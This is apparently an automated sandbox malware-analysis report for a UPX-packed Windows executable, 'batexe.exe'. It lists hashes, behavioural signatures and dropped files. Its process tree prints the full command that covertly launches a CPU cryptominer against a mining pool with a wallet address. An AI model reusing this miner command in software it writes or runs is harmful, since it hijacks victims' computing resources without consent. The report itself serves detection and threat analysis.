73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72

Analysis

max time kernel
293s
max time network
296s
platform
windows10-2004_x64
resource
win10v2004-20240221-ja
resource tags

arch:x64arch:x86image:win10v2004-20240221-jalocale:ja-jpos:windows10-2004-x64systemwindows
submitted
21/02/2024, 23:43

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

batexe.exe
Size

9.4MB
MD5

cdc9eacffc6d2bf43153815043064427
SHA1

d05101f265f6ea87e18793ab0071f5c99edf363f
SHA256

73cc2881ef511788661955a624db9baf40ac16bc63266c5c3bb3fe62b4856d72
SHA512

fc6945957e160bf7059c936c329aae438e6c1521e5e43a8434f58058230d89e818eb6ff80331a4b952dbb600b8cc134ecba54e5641bf549723c98f85e993fde6
SSDEEP

196608:ERAefrn9wcsTRAJgwusnWpV3h9XxSeEGaT+TKkGzySdUkI56kBIyky:E5Tn9YVwdnWLXxkvLlzkuv

Score

7^/10

upx

Malware Config

Signatures

Checks computer location settings 2 TTPs 2 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	batexe.exe
Key value queried	\REGISTRY\USER\S-1-5-21-2132103209-3755304320-2959162027-1000\Control Panel\International\Geo\Nation	b2e.exe

Executes dropped EXE 2 IoCs

pid	Process
2452	b2e.exe
2124	cpuminer-sse2.exe

Loads dropped DLL 5 IoCs

pid	Process
2124	cpuminer-sse2.exe
2124	cpuminer-sse2.exe
2124	cpuminer-sse2.exe
2124	cpuminer-sse2.exe
2124	cpuminer-sse2.exe

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral2/memory/1524-8-0x0000000000400000-0x000000000393A000-memory.dmp	upx

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 1524 wrote to memory of 2452	1524	batexe.exe	87
PID 1524 wrote to memory of 2452	1524	batexe.exe	87
PID 1524 wrote to memory of 2452	1524	batexe.exe	87
PID 2452 wrote to memory of 4252	2452	b2e.exe	88
PID 2452 wrote to memory of 4252	2452	b2e.exe	88
PID 2452 wrote to memory of 4252	2452	b2e.exe	88
PID 4252 wrote to memory of 2124	4252	cmd.exe	91
PID 4252 wrote to memory of 2124	4252	cmd.exe	91

C:\Users\Admin\AppData\Local\Temp\batexe.exe
"C:\Users\Admin\AppData\Local\Temp\batexe.exe"
1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:1524
- C:\Users\Admin\AppData\Local\Temp\6571.tmp\b2e.exe
  "C:\Users\Admin\AppData\Local\Temp\6571.tmp\b2e.exe" C:\Users\Admin\AppData\Local\Temp\6571.tmp\b2e.exe C:\Users\Admin\AppData\Local\Temp "C:\Users\Admin\AppData\Local\Temp\batexe.exe"
  2⤵
  - Checks computer location settings
  - Executes dropped EXE
  - Suspicious use of WriteProcessMemory
  PID:2452
- - C:\Windows\SysWOW64\cmd.exe
    C:\Windows\system32\cmd.exe /c ""C:\Users\Admin\AppData\Local\Temp\686E.tmp\batchfile.bat" "
    3⤵
    - Suspicious use of WriteProcessMemory
    PID:4252
  - - C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe
      cpuminer-sse2.exe -a yespower -o stratum+tcp://yespower.sea.mine.zpool.ca:6234 --userpass=DJXKcu8iouhRppneQL9XbYQ9ovs87y4cYZ:c=doge -t 3
      4⤵
      Executes dropped EXE
      Loads dropped DLL
      PID:2124

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

C:\Users\Admin\AppData\Local\Temp\6571.tmp\b2e.exe

Filesize
19.1MB

MD5
9ce0d4c51570f704f9ebe8bcdf0dc7d9

SHA1
a1b2788abbb4008ab2a93e1e21e5a4c118ad23c3

SHA256
558d48c47092ec93d9bd29d8b4207e653d83b3f642048a87c334a2bb34202c57

SHA512
7df099da53697604f68d6c2ed9cbe250a9ef9e33d375f6f8fcec00512ca202fb0c0c0d06513fcda50f44a40402e678a7c831c6da89a8470ef7a43ad00c999453

Download Submit
C:\Users\Admin\AppData\Local\Temp\6571.tmp\b2e.exe

Filesize
7.0MB

MD5
27981e3024adb7d0a670ab51bede7cc2

SHA1
3c23a6839056b741bebe2c5476008aa27aaea4fe

SHA256
56f1a16f3c56cf65321f2de4c8f2f71e7b5f66238dfb017d7043321892752714

SHA512
cd14af3e7e8031d4dde73e451a2b83bce1515d272dcd563d42106010d18e8df5f7aadbc12ee7441d726ac1b0f984c137171b4eec3d97a8bf1d985d536d160df0

Download Submit
C:\Users\Admin\AppData\Local\Temp\6571.tmp\b2e.exe

Filesize
9.3MB

MD5
81232a6e4819657a1ed0a0ac1c631c07

SHA1
49f97a1754dd179a68e59701474f1fb9a0a0e5a3

SHA256
fc8fa41ae1d8e455738680e7fb9d04d7aa9e8abcdb3aa540a1b8a9207f0c44c2

SHA512
430b4d8b9536ca778e86252500f7a0db5ba70e4c06c335cc59e6f3d0405d80db9ffd4b59525849bf97e6f07662bf0c344e8b7a22f74772f966dfd9d6a0254438

Download Submit
C:\Users\Admin\AppData\Local\Temp\686E.tmp\batchfile.bat

Filesize
136B

MD5
8ea7ac72a10251ecfb42ef4a88bd330a

SHA1
c30f6af73a42c0cc89bd20fe95f9159d6f0756c5

SHA256
65e2674fc9b921a76deaf3740603359794c04e059e8937ab36eb931d65f40ec9

SHA512
a908979d588625aa24eb81238d07d88a56be5388e1265ebd2fe09889ed807aa9a4af77107e72a843c31acadbe06db0d7f6f6a3c95fb481a71e549e8eb74c2ff0

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.3MB

MD5
4c04147c386ba8792ac6a03069572a8a

SHA1
dda67789fc1d0f2469ca95f01a5c81034853ca6a

SHA256
c7739a1e940a282703d06eccda7110426d306f390e97fdbbd9df18472fd132cd

SHA512
a8b5a0b878a9a7d30cb38feff814e1f4dce24d000158edc10a43ee9a89920bedf7adc92eb7e3913098b6aab7fbd0531f56fc09f508b5c2769992a94e55d153db

Download Submit
C:\Users\Admin\AppData\Local\Temp\cpuminer-sse2.exe

Filesize
2.2MB

MD5
af42ffc10fe759cfc7c5c8f815bdff8f

SHA1
a6ac3ae4dc74b9829ccd44ddf87180cd95309b6f

SHA256
74772a05b4ec09703d6e08d9ae106348db4668b1ae3099ad6ff0e8837b858756

SHA512
9b6cd7a89f0e3e977e09f7674e58ca4ca5668f9369969dbee86a3093d62456ff380645f4004990d8029b2bdba8a78310738cdf1cea1e78f285f6011700ae7fb3

Download Submit
C:\Users\Admin\AppData\Local\Temp\libcurl-4.dll

Filesize
836KB

MD5
aeab40ed9a8e627ea7cefc1f5cf9bf7a

SHA1
5e2e8ca2881b9bf9edfa3c4fdcec6da1efa102d8

SHA256
218cfc4073bab4eddf0de0804f96b204687311e20a9e97994bff54c9b0e01ee9

SHA512
c0a67616fa01fdc351015212a718faf70da6612fbb3ec13da28dd7af9a507c56882fb7c3eea6fbc37d4d63b970157199d16d0756dbe3cb3bc2223e215cb104d8

Download Submit
C:\Users\Admin\AppData\Local\Temp\libgcc_s_seh-1.dll

Filesize
1.2MB

MD5
7cf672bee2afba2dcd0c031ff985958e

SHA1
6b82a205db080ffdcb4a4470fce85a14413f3217

SHA256
c82f84171b9246d1cac261100b2199789c96c37b03b375f33b2c72afab060b05

SHA512
3e90d1c1efe0200cb3cc7b51d04783a3cce8391faa6ce554cff8b23dac60be9f8e4f980a8ac005fd9dff8ea4bdcb02311f7649c5be28eb32dcc26417fc4090e5

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.6MB

MD5
68f360cbf62673753f1ffdfb5f94cbb8

SHA1
3e28ee8a8b452ba57754ce57130760c54b4c4d0c

SHA256
77807ad3cee42294a61f104e699ecb8237209eb81eea1c8c4590be97e6062a41

SHA512
0834449ccdf3aaa62aa7e2116c8dc1234e92586f245da125974e5a87b9155ba66e05d9ef95041e4f9bf2cc0e2eca0b8315356ff9ebe58dddd6a5d187055645ac

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.7MB

MD5
770ee9ce9fb449c8e5f31c1e5c05d00e

SHA1
4ff83ce2a6fc4edcaf5e1455aec624386e1b959c

SHA256
81a07a525260078a22eca32ddee8fc6e5a6f39d60369a772ee249c896ab06e67

SHA512
a83373f2e6f902b15b6dc190de9d171bba590c249c027d9ea84f6a3ea4cc1c76465fae09397e6a9ab79c0d0482292ed22d46b45d14b01b869bccee12d36286e1

Download Submit
C:\Users\Admin\AppData\Local\Temp\libstdc++-6.dll

Filesize
3.0MB

MD5
0d8c23e11442dbbda9942427d79c2442

SHA1
475b091a232b1c8143d94ab97029fc18c0f133c0

SHA256
f3c2135a2b89507c7823460c385b0ea50a7606c2d2cb1b10927a27bd9978c904

SHA512
243e9dbcb6d427833c269ef0cd12ca06a258d8692971f319d6da962825c06ffe04b31a058b484a106adfdedab68cf2614a9d6ec59e826dfe577a151fbeca983f

Download Submit
C:\Users\Admin\AppData\Local\Temp\libwinpthread-1.dll

Filesize
606KB

MD5
585efec1bc1d4d916a4402c9875dff75

SHA1
d209613666ccac9d0ddab29a3bc59aa00a0968fa

SHA256
2f9984c591a5654434c53e8b4d0c5c187f1fd0bab95247d5c9bc1c0bd60e6232

SHA512
b93163cba4601ed999a7a7d1887113792e846c36850c6d84f2d505727dc06524bb959469f9df12928769f4535dc6074a6b3599b788a4844353e466742ce1e770

Download Submit
memory/1524-8-0x0000000000400000-0x000000000393A000-memory.dmp

Filesize
53.2MB

Download
memory/2124-43-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-79-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-44-0x0000000070800000-0x00000000708BC000-memory.dmp

Filesize
752KB

Download
memory/2124-45-0x0000000053720000-0x00000000537B8000-memory.dmp

Filesize
608KB

Download
memory/2124-46-0x0000000061440000-0x000000006156B000-memory.dmp

Filesize
1.2MB

Download
memory/2124-47-0x00000000010F0000-0x00000000029A5000-memory.dmp

Filesize
24.7MB

Download
memory/2124-48-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-104-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-64-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-69-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-99-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-84-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-89-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2124-94-0x0000000000400000-0x0000000000667000-memory.dmp

Filesize
2.4MB

Download
memory/2452-9-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download
memory/2452-53-0x0000000000400000-0x0000000000405000-memory.dmp

Filesize
20KB

Download